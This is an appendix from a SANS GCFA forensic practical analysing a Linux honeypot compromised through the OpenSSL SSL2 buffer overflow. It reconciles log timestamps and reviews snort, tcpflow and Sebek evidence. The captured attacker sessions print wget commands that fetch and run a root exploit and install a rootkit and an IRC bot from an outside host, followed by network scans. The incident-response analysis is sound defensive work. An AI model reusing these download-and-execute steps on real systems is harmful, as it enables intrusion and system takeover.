Mon Jun 30 17:31:02 CST 2003

Live-response-june30.md5

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232c0b32469842e965b877a0deec06a *lsof.txt
6clfc3e61d32283a0685464230cdfebf *netstat-routes.txt
662e13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323dcf576c8f3 *proc-filelist.txt
b3a82cc2339e046157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fc4dbeaa7 *starttime.txt
4987992ca38fbc2130a0f4ba5bffc84 *stoptime.txt
5e344d4b030b44f1bcc4b415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

Jun 29 15:50:35 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 src=192.168.2.15 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2

Tcpdump from snort host;

15:42:10.704332 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:
- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

Mon Jun 30 17:18:51 CST 2003

Sebek log event for recording starttime for live response;

23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mc**nc 192.168.2.120 1111

The command ‘snort --r tcpdump.log.1056855401 > tcpdump.out’ was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

06/30-17:10:23.402854 192.168.2.15:4135 --> 192.168.1.120:1111
TCP TTL:64 TOS:0x0 ID:54820 Iplen:20 DgmLen:81 DF
***AD*** Seq: 0x8ADFF174 Ack: 0xC1A03AD7 Win: 0x16D0 TcpLen: 32
TCP Options (3) --> NOP NOP TS: e2409666 2812280
4D 6F 6E 20 4A 75 6E 20 33 30 20 31 37 3A 31 38 Mon Jun 30 17:18
3A 35 31 20 43 53 54 5A 32 30 30 33 0A :51 CST 2003.

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
The snort options are defined below:

```
"-d" logs the packet details  
"-D" runs snort in daemon mode  
"-c" tells snort what configuration file to use  
"-i" identifies the interface to monitor  
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”17 signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX.108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.
14:47.43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.44:3: A 1779370026:1779370026(0) win 5840 <msg 1460,sackOK,timestamp 5795931 0,nop,wscale 0> (DF)
14:47.43.776598 192.168.2.15.44 > XXX.XXX.108.64.55526: S 1761271161:1761271161(0) ack 1779370027 win 5792 <msg 1460,sackOK,timestamp 52913844 5795391,nop,wscale 0> (DF)
14:47.44.008010 XXX.XXX.108.64.55526 > 192.168.2.15.44:3: ack 1 win 5840 <nop,nop,timestamp 5795601 52913844> (DF)
14:47.50.016750 XXX.XXX.108.64.55526 > 192.168.2.15.44:3: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47.55.017396 192.168.2.15.44 > XXX.XXX.108.64.55526: F:1(0) ack 2 win 5792 <nop,nop,timestamp 5291498 5796705> (DF)
14:47.55.030540 XXX.XXX.108.64.55526 > 192.168.2.15.44:3: ack 1 win 5840 <nop,nop,timestamp 5796734 5291498> (DF)
```

```
IP XXX.XXX.108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
14:56.15.502961 XXX.XXX.108.64.34919 > 192.168.2.15.80: S 2334418901:2334418901(0) win 5840 <msg 1460,sackOK,timestamp 5846769 0,nop,wscale 0> (DF)
14:56.15.502961 192.168.2.15.80 > XXX.XXX.108.64.34919: S 2304545355:2304545355(0) ack 2334418902 win 5792 <msg 1460,sackOK,timestamp 52965022 5846769,nop,wscale 0> (DF)
14:56.15.842487 XXX.XXX.108.64.34919 > 192.168.2.15.80: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5846797 52965022> (DF)
14:56.15.842488 192.168.2.15.80 > XXX.XXX.108.64.34919: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5846797 52965022> (DF)
14:56.15.842489 192.168.2.15.80 > XXX.XXX.108.64.34919: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5846797 52965022> (DF)
14:56.15.855515 192.168.2.15.80 > XXX.XXX.108.64.34919: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5846797 52965022> (DF)
14:56.15.855522 192.168.2.15.80 > XXX.XXX.108.64.34919: F:1(0) ack 1 win 5840 <nop,nop,timestamp 5846797 52965022> (DF)
14:56.15.135949 XXX.XXX.108.64.34919 > 192.168.2.15.80: F:1(0) ack 677 win 6760 <nop,nop,timestamp 5846827 52965051> (DF)
14:56.15.137542 XXX.XXX.108.64.34919 > 192.168.2.15.80: F:19(0) ack 678 win 6760 <nop,nop,timestamp 5846827 52965051> (DF)
```

17 "OpenSSL servers contain a buffer overflow during the SSL2 handshake process", (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
Using Tcpflow we see the request send from XXX.XXX.108.064.34919-192.168.002.015.00080

The response sent from 192.168.002.015.00080-XXX.XXX.108.064.34919

HTTP/1.1 400 Bad Request
Date: Sun, 29 Jun 2003 21:06:18 GMT
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_peri/1.26
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

18d

<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>
Your browser sent a request that this server could not understand.<p>
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23);</p>
<h4><address>Apache/1.3.23 Server at _default_ Port 80</address></h4>
</body></html>

The tcpdump binary log was parsed through tcpflow with the syntax

tcpdump -r tcpdump.log.1056866401 'port 34919'

The output was two files " XXX.XXX.108.64.34919-192.168.002.015.00080" and 192.168.002.015.00080-XXX.XXX.108.064.34919". The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => 'r'.
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
15:09:13 (76.87 KB/s)
```

```
15:09:13 (76.87 KB/s) - 'r' saved [19916/19916]
```

```
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

"Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41."
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
 => 's.tar.gz'

15:11:18  (195.87 KB/s)  - 's.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz; rm -rf s.tar.gz;

ls
laddir ./.lstrar
llogfile ./.llogz
lproc ./.lproc
lproc
ls

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the rootkit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>wget XXX.XXX.com/eladoht/bot.tgz</td>
<td>Download the bot.tgz file from the server.</td>
</tr>
<tr>
<td>tar -zxvf bot.tgz</td>
<td>Extract the contents of the bot.tgz archive.</td>
</tr>
<tr>
<td>rm -rf bot.tgz</td>
<td>Remove the bot.tgz and its contents.</td>
</tr>
<tr>
<td>cd .X11-pipe</td>
<td>Change directory to .X11-pipe.</td>
</tr>
<tr>
<td>chmod +x inetd/services</td>
<td>Make the inetd/services executable.</td>
</tr>
<tr>
<td>get terminal settingsbash</td>
<td>Set the terminal settings to bash.</td>
</tr>
<tr>
<td>tcsetattr</td>
<td>Set terminal attributes.</td>
</tr>
<tr>
<td>cd .X11-pipe</td>
<td>Change directory to .X11-pipe.</td>
</tr>
<tr>
<td>chmod +x</td>
<td>Make the .X11-pipe executable.</td>
</tr>
<tr>
<td>cd inetd/services</td>
<td>Change directory to inetd/services.</td>
</tr>
<tr>
<td>get terminal settingsbash</td>
<td>Set the terminal settings to bash.</td>
</tr>
<tr>
<td>tcsetattr</td>
<td>Set terminal attributes.</td>
</tr>
</tbody>
</table>

The following commands were executed successfully,

```
15:31:46 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]
```

The following files were extracted:

```
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODD
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h
```
<table>
<thead>
<tr>
<th>X11-pipe/src/h.h</th>
</tr>
</thead>
<tbody>
<tr>
<td>X11-pipe/src/link.c</td>
</tr>
<tr>
<td>X11-pipe/src/main.c</td>
</tr>
<tr>
<td>X11-pipe/src/gencmd.c</td>
</tr>
<tr>
<td>X11-pipe/src/parse.c</td>
</tr>
<tr>
<td>X11-pipe/src/socket.c</td>
</tr>
<tr>
<td>X11-pipe/src/structs.h</td>
</tr>
<tr>
<td>X11-pipe/src/usage.h</td>
</tr>
<tr>
<td>X11-pipe/src/userlist.c</td>
</tr>
<tr>
<td>X11-pipe/src/vars.c</td>
</tr>
<tr>
<td>X11-pipe/src/xmech.c</td>
</tr>
<tr>
<td>X11-pipe/src/Makefile</td>
</tr>
<tr>
<td>X11-pipe/src/config.h</td>
</tr>
<tr>
<td>X11-pipe/src/gencmd</td>
</tr>
<tr>
<td>X11-pipe/src/mcmd.h</td>
</tr>
<tr>
<td>X11-pipe/src/cfgfile.o</td>
</tr>
<tr>
<td>X11-pipe/src/channel.o</td>
</tr>
<tr>
<td>X11-pipe/src/com-ons.o</td>
</tr>
<tr>
<td>X11-pipe/src/combot.o</td>
</tr>
<tr>
<td>X11-pipe/src/commands.o</td>
</tr>
<tr>
<td>X11-pipe/src/dcc.o</td>
</tr>
<tr>
<td>X11-pipe/src/debug.o</td>
</tr>
<tr>
<td>X11-pipe/src/function.o</td>
</tr>
<tr>
<td>X11-pipe/src/link.o</td>
</tr>
<tr>
<td>X11-pipe/src/main.o</td>
</tr>
<tr>
<td>X11-pipe/src/parse.o</td>
</tr>
<tr>
<td>X11-pipe/src/socket.o</td>
</tr>
<tr>
<td>X11-pipe/src/userlist.o</td>
</tr>
<tr>
<td>X11-pipe/src/vars.o</td>
</tr>
<tr>
<td>X11-pipe/src/xmech.o</td>
</tr>
<tr>
<td>X11-pipe/mech.set</td>
</tr>
<tr>
<td>X11-pipe/mech.levels</td>
</tr>
<tr>
<td>X11-pipe/LinkEvents</td>
</tr>
<tr>
<td>X11-pipe/lpd.usr</td>
</tr>
<tr>
<td>X11-pipe/M4c4r0n.seen</td>
</tr>
<tr>
<td>X11-pipe/lpd.session</td>
</tr>
<tr>
<td>X11-pipe/checklpd</td>
</tr>
<tr>
<td>X11-pipe/inetd/</td>
</tr>
<tr>
<td>X11-pipe/inetd/services</td>
</tr>
</tbody>
</table>

```bash
bash: [:19893: 1] tcsetattr: Invalid argument

ps ax
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$  PID TTY STAT TIME COMMAND
 1 ? S 0:04 init
 2 ? SW 0:00 [keventd]
 3 ? SW 0:00 [kapsmd]
 4 ? SWN 0:00 [ksoftirqd_CPU0]
 5 ? SW 0:02 [kswapd]
 6 ? SW 0:00 [bdflush]
 7 ? SW 0:00 [kudated]
 8 ? SW 0:00 [mdrecoveryd]
 12 ? SW 0:00 [kjournald]
 91 ? SW 0:00 [khubd]
 186 ? SW 0:00 [kjournald]
 187 ? SW 0:00 [kjournald]
 188 ? SW 0:00 [kjournald]
 189 ? SW 0:00 [kjournald]
 657 ? S 0:00 rpc.statd
 770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scc
 790 ? SL 0:01 ntpd -U ntp -g
 842 ? S 0:01 /usr/sbin/sshd
 875 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
 916 ? S 0:00 sendmail: accepting connections
 935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
 953 ? S 0:00 crond
 1005 ? S 0:03 xfs -droppriv -daemon
```
<table>
<thead>
<tr>
<th>PID</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>1041</td>
<td><code>/sbin/atd</code></td>
</tr>
<tr>
<td>1050</td>
<td><code>/sbin/mingetty tty1</code></td>
</tr>
<tr>
<td>1051</td>
<td><code>/sbin/mingetty tty2</code></td>
</tr>
<tr>
<td>1052</td>
<td><code>/sbin/mingetty tty3</code></td>
</tr>
<tr>
<td>1053</td>
<td><code>/sbin/mingetty tty4</code></td>
</tr>
<tr>
<td>1054</td>
<td><code>/sbin/mingetty tty5</code></td>
</tr>
<tr>
<td>1055</td>
<td><code>/sbin/mingetty tty6</code></td>
</tr>
<tr>
<td>1056</td>
<td><code>/bin/kdm -nodeamon</code></td>
</tr>
<tr>
<td>1066</td>
<td><code>/usr/X11R6/bin/X -auth /var/run/xauth/A:0:0-gkOEqz</code></td>
</tr>
<tr>
<td>1067</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>1091</td>
<td><code>/bin/sh /usr/bin/startkde</code></td>
</tr>
<tr>
<td>1175</td>
<td><code>kdeinit: Running...</code></td>
</tr>
<tr>
<td>1178</td>
<td><code>kdeinit: dcopyserver --nosid</code></td>
</tr>
<tr>
<td>1181</td>
<td><code>kdeinit: klauncher</code></td>
</tr>
<tr>
<td>1183</td>
<td><code>kdeinit: kded</code></td>
</tr>
<tr>
<td>1192</td>
<td><code>/usr/bin/artsd -P 10 -S 4096 -s 60 -m artsmESSAGE -l</code></td>
</tr>
<tr>
<td>1203</td>
<td><code>kdeinit: knotify</code></td>
</tr>
<tr>
<td>1208</td>
<td><code>kdeinit: ksserver --restore</code></td>
</tr>
<tr>
<td>1211</td>
<td><code>kdeinit: kwin --session 117f00000100010561262930000008</code></td>
</tr>
<tr>
<td>1217</td>
<td><code>kdeinit: kicker</code></td>
</tr>
<tr>
<td>1219</td>
<td><code>autourun -l --interval=1000 --cdplayer=/usr/bin/kscd</code></td>
</tr>
<tr>
<td>1222</td>
<td><code>kdeinit: kclipper -icon kclipper -miniicon kclipper</code></td>
</tr>
<tr>
<td>1226</td>
<td><code>kdeinit: kwrited</code></td>
</tr>
<tr>
<td>1227</td>
<td><code>kdeinit: korgac --miniicon korganizer</code></td>
</tr>
<tr>
<td>1230</td>
<td><code>kalarmd --login</code></td>
</tr>
<tr>
<td>1232</td>
<td><code>kdeinit: konsole --icon konsole --miniicon konsole</code></td>
</tr>
<tr>
<td>1234</td>
<td><code>/bin/bash</code></td>
</tr>
<tr>
<td>1266</td>
<td><code>/dev/null</code></td>
</tr>
<tr>
<td>6133</td>
<td><code>kdeinit: kcookiejar</code></td>
</tr>
<tr>
<td>6135</td>
<td><code>kdeinit: kdesud</code></td>
</tr>
<tr>
<td>7168</td>
<td><code>kdeinit: konsole --icon konsole --miniicon konsole</code></td>
</tr>
<tr>
<td>7170</td>
<td><code>/bin/bash</code></td>
</tr>
<tr>
<td>7203</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>8125</td>
<td><code>/usr/sbin/htpd</code></td>
</tr>
<tr>
<td>8154</td>
<td><code>/usr/sbin/snmpd</code></td>
</tr>
<tr>
<td>1006</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1007</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1008</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1009</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1010</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1011</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1012</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>1013</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19365</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19366</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19367</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19368</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19369</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19370</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19371</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19372</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19373</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19374</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19375</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19376</td>
<td><code>/usr/sbin/httpd</code></td>
</tr>
<tr>
<td>19488</td>
<td><code>/usr/bin/bash</code></td>
</tr>
<tr>
<td>19504</td>
<td><code>/usr/bin/bash</code></td>
</tr>
<tr>
<td>19505</td>
<td><code>/etc/vxauth/A:0:0-gkOEqz</code></td>
</tr>
<tr>
<td>19507</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>19508</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>19509</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>19635</td>
<td><code>/bin/sh</code></td>
</tr>
<tr>
<td>19678</td>
<td><code>/usr/bin/wait</code></td>
</tr>
<tr>
<td>19685</td>
<td><code>/usr/bin/popen</code></td>
</tr>
<tr>
<td>19686</td>
<td><code>/usr/bin/wait</code></td>
</tr>
<tr>
<td>19694</td>
<td><code>/usr/bin/killall</code></td>
</tr>
<tr>
<td>19697</td>
<td><code>/usr/bin/killall</code></td>
</tr>
<tr>
<td>19701</td>
<td><code>/usr/bin/wait</code></td>
</tr>
</tbody>
</table>
Below are a summary of the session and the files downloaded. The file `r` was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.

<table>
<thead>
<tr>
<th>Aligned with snort Time</th>
<th>Time</th>
<th>Date</th>
<th>Shell</th>
<th>Commands</th>
</tr>
</thead>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4  Page 189

<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>Arguments</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:43:02</td>
<td>rm -rf.s</td>
<td></td>
<td>21:38:48</td>
</tr>
<tr>
<td>15:45:17</td>
<td>cd /bin</td>
<td></td>
<td>21:41:03</td>
</tr>
<tr>
<td>15:45:31</td>
<td>dir -a</td>
<td>cd .font=unix</td>
<td>21:41:17</td>
</tr>
<tr>
<td>15:46:01</td>
<td>tar -xvfd 1 samba.tgz</td>
<td></td>
<td>21:41:47</td>
</tr>
<tr>
<td>15:56:22</td>
<td>nmap .XXX.XXX.42.58</td>
<td></td>
<td>21:52:08</td>
</tr>
<tr>
<td>15:56:24</td>
<td>nmap .XXX.XXX.42.58</td>
<td></td>
<td>21:52:10</td>
</tr>
<tr>
<td>15:56:53</td>
<td>nmap .XXX.XXX.42.58</td>
<td></td>
<td>21:52:39</td>
</tr>
<tr>
<td>15:57:46</td>
<td>.swy XXX.XXX.42.58</td>
<td></td>
<td>21:53:32</td>
</tr>
<tr>
<td>15:57:34</td>
<td>.swy XXX.XXX.42.58</td>
<td></td>
<td>21:54:20</td>
</tr>
<tr>
<td>15:58:53</td>
<td>.swy XXX.XXX.42.58</td>
<td></td>
<td>21:54:39</td>
</tr>
<tr>
<td>16:00:04</td>
<td>netstat</td>
<td></td>
<td>21:55:50</td>
</tr>
<tr>
<td>16:02:29</td>
<td>nmap .XXX.XXX.49.137</td>
<td></td>
<td>21:58:15</td>
</tr>
<tr>
<td>16:02:50</td>
<td>nmap .XXX.XXX.49.137</td>
<td></td>
<td>21:58:36</td>
</tr>
</tbody>
</table>

© SANS Institute 2004,  As part of GIAC practical repository.  Author retains full rights.
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXXXX Network S.A. in Bucharest, Romania.

```
inethnum:      XXX.XXX.96.0 - XXX.XXX.127.255
netname:       XXXXX
descr:         XXXXXXX XXXXX Network S.A.
descr:         XXXXXXX XXXXX Network
country:       RO
admin-c:       BT17-RIPE
tech-c:        PDNN1-RIPE
status:        ASSIGNED PA
notify:        XXXXX@XXXXXX.ro
mnt-by:        AS8503-MNT
changed:       XXXXX@XXXXXX.ro 20030704
source:        RIPE
route:         XXX.XXX.116.0/22
descr:         PCNET
origin:        AS8503
notify:        XXXXX@XXXXXX.ro
mnt-by:        AS8503-MNT
changed:       XXXXXX@XXXXXX.ro 20020912
source:        RIPE
role:          XXXXX XXXXX Network NOC
address:       XXXXXXX XXXXX, nr. 10
address:       Bucharest, ROMANIA
phone:         +XX 1 555 86 61
phone:         +XX 1 555 35 23
fax-no:        +XX 1 555 49 99
e-mail:        XXXXX@XXXXXX.ro
trouble:       +XX X 555 18 84
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
admin-c: BT17-RIPE
tech-c: BT17-RIPE
tech-c: AP158-RIPE
tech-c: CM3059-RIPE
tech-c: CN19-RIPE
tech-c: IG20-RIPE
tech-c: CR60-RIPE
nic-hdl: PDNN1-RIPE
remarks: ------------
remarks: abuse: abuse@XXXXX.ro
remarks: ------------
remarks: for escalation please directly call the technical manager
notify: XXXXX@XXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXX.ro 20011008
source: RIPE

**person:** XXXXX XXXXX
remarks: Technical Manager
remarks: XXXXX XXXX Network S.A.
address: Bucharest, Romania
phone: +XX X 555 18 84
phone: +XX 1 555 86 61
phone: +XX 1 555 35 23
fax-no: +XX 1 555 49 99
nic-hdl: BT17-RIPE
mnt-by: BT17-RIPE-MNT
notify: XXXXX@pcnet.ro
e-mail: XXXXX@pcnet.ro
changed: XXXXX@pcnet.ro 20011009
source: RIPE
Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
    => 'r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]

OK ...............                 100%  76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
```

```
../r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000f1d
[+] Now wait for suid shell...

su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

```
total 38
```

```
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ...
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x  1 root root  11 Jun 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx------  2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x  2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x  2 root root 1024 Jun 19 11:43 .gt
-rw-------  1 root root 1024 Jun 20 02:17 .rnd
-rwxr-xr-x  1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x  1 root root  890 Jun 20 04:14 X-Test.log
-rw-------  1 root root  4133 Jun 20 04:14 XF86Config.test
drwx------  2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------  2 root root 1024 Jun 20 10:55 kde-root
```

```
